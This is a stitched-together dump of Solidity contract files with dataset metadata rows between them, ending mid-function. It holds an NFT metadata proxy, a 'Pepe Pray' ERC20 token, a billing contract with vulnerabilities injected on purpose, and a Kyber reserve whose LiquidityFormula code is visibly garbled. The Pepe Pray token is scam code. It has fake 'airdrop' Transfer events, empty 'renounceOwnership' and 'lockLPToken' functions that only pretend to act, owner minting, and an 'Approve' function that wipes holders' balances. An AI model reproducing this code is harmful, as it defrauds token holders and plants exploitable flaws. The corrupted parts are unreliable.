function updateDocument(uint referencingDocumentId, uint updatedDocumentId) public onlyOwner ifNotRetired {
Document storage referenced = documents[referencingDocumentId];
Document memory updated = documents[updatedDocumentId];
//
referenced.updatedVersionId = updated.documentId;
emit EventDocumentUpdated(referenced.updatedVersionId,updated.documentId);
}
}
| 217,004 | 10,562 |
935c45ab33516dbbd416024819e458fe0365a1a7dfbc279f83e18571741d06d1
| 11,805 |
.sol
|
Solidity
| false |
429511323
|
EtherOrcsOfficial/etherOrcs-contracts
|
9ea3a8a9906c6bde4b575ba126c6dcdf52d779a8
|
src/inventory/MetadaMiddleware.sol
| 2,923 | 11,244 |
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.7;
interface NameHandlerLike {
function getName(uint256 orcId) external view returns(string memory);
function getBodyName(uint8 id) external pure returns (string memory);
function getHelmName(uint8 id) external pure returns (string memory);
function getMainhandName(uint8 id) external pure returns (string memory);
function getOffhandName(uint8 id) external pure returns (string memory);
function timeAsChampion(uint256 id) external view returns(uint256);
}
contract MetadataMiddleware {
address impl_;
address public manager;
enum Part { body, helm, mainhand, offhand, unique }
mapping(uint8 => address) bodies;
mapping(uint8 => address) helms;
mapping(uint8 => address) mainhands;
mapping(uint8 => address) offhands;
mapping(uint8 => address) uniques;
mapping(bytes4 => address) implementer;
address public nameHandler;
address public equipmentHandler;
bool public insertChampion;
address constant impl = 0x164B9511af29BAf9095DC1deEb767E28aCa78f0c;
function getTokenURI(uint16 id_, uint8 body_, uint8 helm_, uint8 mainhand_, uint8 offhand_, uint16 level_, uint16 zugModifier_) public view returns (string memory) {
(, bytes memory ret) = address(this).staticcall(abi.encodeWithSignature("getSVG(uint8,uint8,uint8,uint8)", body_, helm_, mainhand_, offhand_));
string memory s = abi.decode(ret, (string));
string memory svg = BBase64.encode(bytes(s));
return
string(abi.encodePacked('data:application/json;base64,',
BBase64.encode(bytes(abi.encodePacked('{"name":"',_getName(id_),'", "description":"EtherOrcs is a collection of 5050 Orcs ready to pillage the blockchain. With no IPFS or API, these Orcs are the very first role-playing game that takes place 100% on-chain. Spawn new Orcs, battle your Orc to level up, and pillage different loot pools to get new weapons and gear which upgrades your Orc metadata. This Horde of Orcs will stand the test of time and live on the blockchain for eternity.", "image": "',
'data:image/svg+xml;base64,',
svg,
'",',
getAttributes(id_, body_, helm_, mainhand_, offhand_, level_, zugModifier_),
'}')))));
}
function setImplementer(bytes4[] calldata funcs, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < funcs.length; index++) {
implementer[funcs[index]] = source;
}
}
function setAddress(bytes32 param, address value) external {
require(msg.sender == manager,"not manager");
if(param == "nameHandler") {
nameHandler = value;
}
if(param == "equipmentHandler") {
equipmentHandler = value;
}
}
function setInsertChampion(bool status) external {
require(msg.sender == manager,"not manager");
insertChampion = status;
}
function getAttributes(uint16 id_, uint8 body_, uint8 helm_, uint8 mainhand_, uint8 offhand_, uint16 level_, uint16 zugModifier_) internal view returns (string memory) {
if (insertChampion) {
return string(abi.encodePacked('"attributes": [',
getBodyAttributes(body_), ',',
getHelmAttributes(helm_), ',',
getMainhandAttributes(mainhand_), ',',
getOffhandAttributes(offhand_), ',',
getChampionsAttribute(id_),
',{"trait_type": "level", "value":', toString(level_),
'},{"display_type": "boost_number","trait_type": "zug bonus", "value":',
toString(zugModifier_),'}]'));
}
return string(abi.encodePacked('"attributes": [',
getBodyAttributes(body_), ',',
getHelmAttributes(helm_), ',',
getMainhandAttributes(mainhand_), ',',
getOffhandAttributes(offhand_),
',{"trait_type": "level", "value":', toString(level_),
'},{"display_type": "boost_number","trait_type": "zug bonus", "value":',
toString(zugModifier_),'}]'));
}
function getBodyAttributes(uint8 body_) internal view returns(string memory) {
NameHandlerLike handler = NameHandlerLike(body_ > 52 ? equipmentHandler : impl);
return string(abi.encodePacked('{"trait_type":"Body","value":"',handler.getBodyName(body_),'"}'));
}
function getHelmAttributes(uint8 helm_) internal view returns(string memory) {
NameHandlerLike handler = NameHandlerLike(helm_ > 52 ? equipmentHandler : impl);
return string(abi.encodePacked('{"trait_type":"Helm","value":"',handler.getHelmName(helm_),'"},{"display_type":"number","trait_type":"HelmTier","value":',toString(getTier(helm_)),'}'));
}
function getMainhandAttributes(uint8 mainhand_) internal view returns(string memory) {
NameHandlerLike handler = NameHandlerLike(mainhand_ > 52 ? equipmentHandler : impl);
return string(abi.encodePacked('{"trait_type":"Mainhand","value":"',handler.getMainhandName(mainhand_),'"},{"display_type":"number","trait_type":"MainhandTier","value":',toString(getTier(mainhand_)),'}'));
}
function getOffhandAttributes(uint8 offhand_) internal view returns(string memory) {
NameHandlerLike handler = NameHandlerLike(offhand_ > 52 ? equipmentHandler : impl);
return string(abi.encodePacked('{"trait_type":"Offhand","value":"',handler.getOffhandName(offhand_),'"},{"display_type":"number","trait_type":"OffhandTier","value":',toString(getTier(offhand_)),'}'));
}
function getChampionsAttribute(uint256 id) internal view returns(string memory) {
uint256 daysAsChampion = NameHandlerLike(nameHandler).timeAsChampion(id) / 1 days;
return string(abi.encodePacked('{"display_type":"number","trait_type":"DaysAsTopChampion","value":"',toString(daysAsChampion),'"}'));
}
function _getName(uint256 orcId) internal view returns (string memory) {
if (nameHandler == address(0)) return string(abi.encodePacked("Orc #", toString(orcId)));
return NameHandlerLike(nameHandler).getName(orcId);
}
function getTier(uint16 id) internal pure returns (uint16) {
if (id > 40) return 10;
if (id == 0) return 0;
return ((id - 1) / 4);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
fallback() external {
if(implementer[msg.sig] == address(0)) {
_delegate(impl);
} else {
_delegate(implementer[msg.sig]);
}
}
}
/// @title Base64
/// @author Brecht Devos - <brecht@loopring.org>
/// @notice Provides a function for encoding some bytes in base64
/// @notice NOT BUILT BY ETHERORCS TEAM. Thanks Bretch Devos!
library BBase64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
contract EquipmentHandler {
function getBodyName(uint8 id) external pure returns (string memory){
if (id == 53) return "Sun Wukong";
return "";
}
function getHelmName(uint8 id) external pure returns (string memory){
if (id == 53) return "Sun Wukong";
return "";
}
function getMainhandName(uint8 id) external pure returns (string memory){
if (id == 53) return "Sun Wukong";
return "";
}
function getOffhandName(uint8 id) external pure returns (string memory){
if (id == 53) return "Sun Wukong";
return "";
}
}
contract NameHandler {
function getName(uint256 orcId) external view returns(string memory) {
return "Fuck Yeeeah";
}
function timeAsChampion(uint256 id) external view returns(uint256) {
return 3 days;
}
}
| 273,879 | 10,563 |
4acabb6e305776bcb6ce90fc95f16ac05dcc2b9cff9640ec62a3ae2c1a116705
| 10,671 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/57/5742a34b5ab3cd4e6cbf42bf3e3f734a1b5903e1_pepepray.sol
| 2,616 | 9,933 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract pepepray is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0xc4Bb6E75E97022395E9E947d6418456A5323a35c;
address public _controller = 0xc4Bb6E75E97022395E9E947d6418456A5323a35c;
constructor () public {
_name = "Pepe Pray";
_symbol = "";
_decimals = 18;
uint256 initialSupply = 10000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 38,751 | 10,564 |
d777ddff968668e1fe869a746d9c55c2f7895bcf42f96dfa3182458647e72ca2
| 17,965 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0xdcc90d21186e9c1b60439fdbf88f0f14ad3a7355_affectedByMiners.sol
| 2,735 | 11,380 |
pragma solidity 0.5.2;
interface ERC20CompatibleToken {
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract RecurringBillingContractFactory {
event NewRecurringBillingContractCreated(address token, address recurringBillingContract);
function newRecurringBillingContract (address tokenAddress) public returns (address recurringBillingContractAddress) {
TokenRecurringBilling rb = new TokenRecurringBilling(tokenAddress);
emit NewRecurringBillingContractCreated(tokenAddress, address(rb));
return address(rb);
}
}
contract TokenRecurringBilling {
using SafeMath for uint256;
event BillingAllowed(uint256 indexed billingId, address customer, uint256 merchantId, uint256 timestamp, uint256 period, uint256 value);
event BillingCharged(uint256 indexed billingId, uint256 timestamp, uint256 nextChargeTimestamp);
event BillingCanceled(uint256 indexed billingId);
event MerchantRegistered(uint256 indexed merchantId, address merchantAccount, address beneficiaryAddress);
event MerchantAccountChanged(uint256 indexed merchantId, address merchantAccount);
event MerchantBeneficiaryAddressChanged(uint256 indexed merchantId, address beneficiaryAddress);
event MerchantChargingAccountAllowed(uint256 indexed merchantId, address chargingAccount, bool allowed);
struct BillingRecord {
address customer; // Billing address (those who pay).
uint256 metadata; // Metadata packs 5 values to save on storage. Metadata spec (from first to last byte):
// + uint32 period; // Billing period in seconds; configurable period of up to 136 years.
// + uint32 merchantId; // Merchant ID; up to ~4.2 Milliard IDs.
// + uint48 lastChargeAt; // When the last charge occurred; up to year 999999+.
}
struct Merchant {
address merchant; // Merchant admin address that can change all merchant struct properties.
address beneficiary; // Address receiving tokens.
}
enum receiveApprovalAction { // In receiveApproval, `lastChargeAt` in passed `metadata` specifies an action to execute.
allowRecurringBilling, // == 0
cancelRecurringBilling // == 1
}
uint256 public lastMerchantId; // This variable increments on each new merchant registered, generating unique ids for merchant.
ERC20CompatibleToken public token; // Token address.
mapping(uint256 => BillingRecord) public billingRegistry; // List of all billings registered by ID.
mapping(uint256 => Merchant) public merchantRegistry; // List of all merchants registered by ID.
mapping(uint256 => mapping(address => bool)) public merchantChargingAccountAllowed; // Accounts that are allowed to charge customers.
// Checks whether {merchant} owns {merchantId}
modifier isMerchant (uint256 merchantId) {
require(merchantRegistry[merchantId].merchant == msg.sender, "Sender is not a merchant");
_;
}
// Checks whether {customer} owns {billingId}
modifier isCustomer (uint256 billingId) {
require(billingRegistry[billingId].customer == msg.sender, "Sender is not a customer");
_;
}
// Guarantees that the transaction is sent by token smart contract only.
modifier tokenOnly () {
require(msg.sender == address(token), "Sender is not a token");
_;
}
// Creates a recurring billing smart contract for particular token.
constructor (address tokenAddress) public {
token = ERC20CompatibleToken(tokenAddress);
}
function allowRecurringBilling (uint256 billingId, uint256 merchantId, uint256 value, uint256 period) public {
allowRecurringBillingInternal(msg.sender, merchantId, billingId, value, period);
}
// Enables anyone to become a merchant, charging tokens for their services.
function registerNewMerchant (address beneficiary, address chargingAccount) public returns (uint256 merchantId) {
merchantId = ++lastMerchantId;
Merchant storage record = merchantRegistry[merchantId];
record.merchant = msg.sender;
record.beneficiary = beneficiary;
emit MerchantRegistered(merchantId, msg.sender, beneficiary);
changeMerchantChargingAccount(merchantId, chargingAccount, true);
}
// Calcels recurring billing with id {billingId} if it is owned by a transaction signer.
function cancelRecurringBilling (uint256 billingId) public isCustomer(billingId) {
cancelRecurringBillingInternal(billingId);
}
function charge (uint256 billingId) public {
BillingRecord storage billingRecord = billingRegistry[billingId];
(uint256 value, uint256 lastChargeAt, uint256 merchantId, uint256 period) = decodeBillingMetadata(billingRecord.metadata);
require(merchantChargingAccountAllowed[merchantId][msg.sender], "Sender is not allowed to charge");
require(merchantId != 0, "Billing does not exist");
require(lastChargeAt.add(period) <= now, "Charged too early");
// and recurring billing is canceled in case of a charge.
if (block.timestamp > lastChargeAt.add(period.mul(2))) { //injected CONTRACT AFFECTED BY MINERS
cancelRecurringBillingInternal(billingId);
return;
}
require(token.transferFrom(billingRecord.customer, merchantRegistry[merchantId].beneficiary, value),
"Unable to charge customer");
billingRecord.metadata = encodeBillingMetadata(value, lastChargeAt.add(period), merchantId, period);
emit BillingCharged(billingId, now, lastChargeAt.add(period.mul(2)));
}
function receiveApproval (address sender, uint, address, bytes calldata data) external tokenOnly {
require(data.length == 64, "Invalid data length");
// `action` is used instead of `lastCahrgeAt` to save some space.
(uint256 value, uint256 action, uint256 merchantId, uint256 period) = decodeBillingMetadata(bytesToUint256(data, 0));
uint256 billingId = bytesToUint256(data, 32);
if (block.number == uint256(receiveApprovalAction.allowRecurringBilling)) { //injected CONTRACT AFFECTED BY MINERS
allowRecurringBillingInternal(sender, merchantId, billingId, value, period);
} else if (block.timestamp == uint256(receiveApprovalAction.cancelRecurringBilling)) { //injected CONTRACT AFFECTED BY MINERS
require(billingRegistry[billingId].customer == sender, "Unable to cancel recurring billing of another customer");
cancelRecurringBillingInternal(billingId);
} else {
revert("Unknown action provided");
}
}
// Changes merchant account with id {merchantId} to {newMerchantAccount}.
function changeMerchantAccount (uint256 merchantId, address newMerchantAccount) public isMerchant(merchantId) {
merchantRegistry[merchantId].merchant = newMerchantAccount;
emit MerchantAccountChanged(merchantId, newMerchantAccount);
}
function changeMerchantBeneficiaryAddress (uint256 merchantId, address newBeneficiaryAddress) public isMerchant(merchantId) {
merchantRegistry[merchantId].beneficiary = newBeneficiaryAddress;
emit MerchantBeneficiaryAddressChanged(merchantId, newBeneficiaryAddress);
}
// Allows or disallows particular {account} to charge customers related to this merchant.
function changeMerchantChargingAccount (uint256 merchantId, address account, bool allowed) public isMerchant(merchantId) {
merchantChargingAccountAllowed[merchantId][account] = allowed;
emit MerchantChargingAccountAllowed(merchantId, account, allowed);
}
// Used to encode 5 values into one uint256 value. This is primarily made for cheaper storage.
function encodeBillingMetadata (uint256 value,
uint256 lastChargeAt,
uint256 merchantId,
uint256 period) public pure returns (uint256 result) {
require(value < 2 ** 144
&& lastChargeAt < 2 ** 48
&& merchantId < 2 ** 32
&& period < 2 ** 32,
"Invalid input sizes to encode");
result = value;
result |= lastChargeAt << (144);
result |= merchantId << (144 + 48);
result |= period << (144 + 48 + 32);
return result;
}
// Used to decode 5 values from one uint256 value encoded by `encodeBillingMetadata` function.
function decodeBillingMetadata (uint256 encodedData) public pure returns (uint256 value,
uint256 lastChargeAt,
uint256 merchantId,
uint256 period) {
value = uint144(encodedData);
lastChargeAt = uint48(encodedData >> (144));
merchantId = uint32(encodedData >> (144 + 48));
period = uint32(encodedData >> (144 + 48 + 32));
}
// Allows recurring billing. Noone but this contract can call this function.
function allowRecurringBillingInternal (address customer,
uint256 merchantId,
uint256 billingId,
uint256 value,
uint256 period) internal {
require(merchantId <= lastMerchantId && merchantId != 0, "Invalid merchant specified");
require(period < now, "Invalid period specified");
require(token.balanceOf(customer) >= value, "Not enough tokens for the first charge");
require(token.allowance(customer, address(this)) >= value, "Tokens are not approved for this smart contract");
require(billingRegistry[billingId].customer == address(0x0), "Recurring billing with this ID is already registered");
BillingRecord storage newRecurringBilling = billingRegistry[billingId];
newRecurringBilling.metadata = encodeBillingMetadata(value, now.sub(period), merchantId, period);
newRecurringBilling.customer = customer;
emit BillingAllowed(billingId, customer, merchantId, now, period, value);
}
// Cancels recurring billing. Noone but this contract can call this function.
function cancelRecurringBillingInternal (uint256 billingId) internal {
delete billingRegistry[billingId];
emit BillingCanceled(billingId);
}
// Utility function to convert bytes type to uint256. Noone but this contract can call this function.
function bytesToUint256(bytes memory input, uint offset) internal pure returns (uint256 output) {
assembly { output := mload(add(add(input, 32), offset)) }
}
}
| 281,159 | 10,565 |
f5a631a16c62120601a71893ac5505ab05baf01ec81ac9ec746efe4c4b928fa9
| 18,413 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Exchange/0x97D7126b6FF7C4D95601912f4Cdf790a3Cd1edaB.sol
| 4,322 | 16,886 |
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/ConversionRatesInterface.sol
interface ConversionRatesInterface {
function recordImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
// File: contracts/LiquidityFormula.sol
contract UtilMath {
uint public constant BIG_NUMBER = (uint(1)<= 0; i--) {
if ((q*denomator)/denomator != q) {
// overflow
denomator = denomator/2;
continue;
}
if (p/(q*denomator) > 0) return uint(i);
denomator = denomator/2;
}
return uint(-1);
}
// log2 for a number that it in [1,2)
function log2ForSmallNumber(uint x, uint numPrecisionBits) public pure returns (uint) {
uint res = 0;
uint one = (uint(1)<= one) && (x <= two));
require(numPrecisionBits < 125);
for (uint i = numPrecisionBits; i > 0; i--) {
x = (x*x) / one;
addition = addition/2;
if (x >= two) {
x = x/2;
res += addition;
}
}
return res;
}
function logBase2 (uint p, uint q, uint numPrecisionBits) public pure returns (uint) {
uint n = 0;
uint precision = (uint(1)< q) {
n = countLeadingZeros(p, q);
}
require(!checkMultOverflow(p, precision));
require(!checkMultOverflow(n, precision));
require(!checkMultOverflow(uint(1)<= precision);
require(!checkMultOverflow(erdeltaE - precision, precision));
require(!checkMultOverflow((erdeltaE - precision)*precision, precision));
require(!checkMultOverflow((erdeltaE - precision)*precision*precision, precision));
require(!checkMultOverflow(rpe, erdeltaE));
require(!checkMultOverflow(r, pe));
return (erdeltaE - precision) * precision * precision * precision / (rpe*erdeltaE);
}
function deltaEFunc(uint r, uint pMIn, uint e, uint deltaT, uint precision, uint numPrecisionBits)
public pure
returns (uint)
{
uint pe = pE(r, pMIn, e, precision);
uint rpe = r * pe;
uint lnPart = ln(precision*precision + rpe*deltaT/precision, precision*precision, numPrecisionBits);
require(!checkMultOverflow(r, pe));
require(!checkMultOverflow(precision, precision));
require(!checkMultOverflow(rpe, deltaT));
require(!checkMultOverflow(lnPart, precision));
return lnPart * precision / r;
}
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
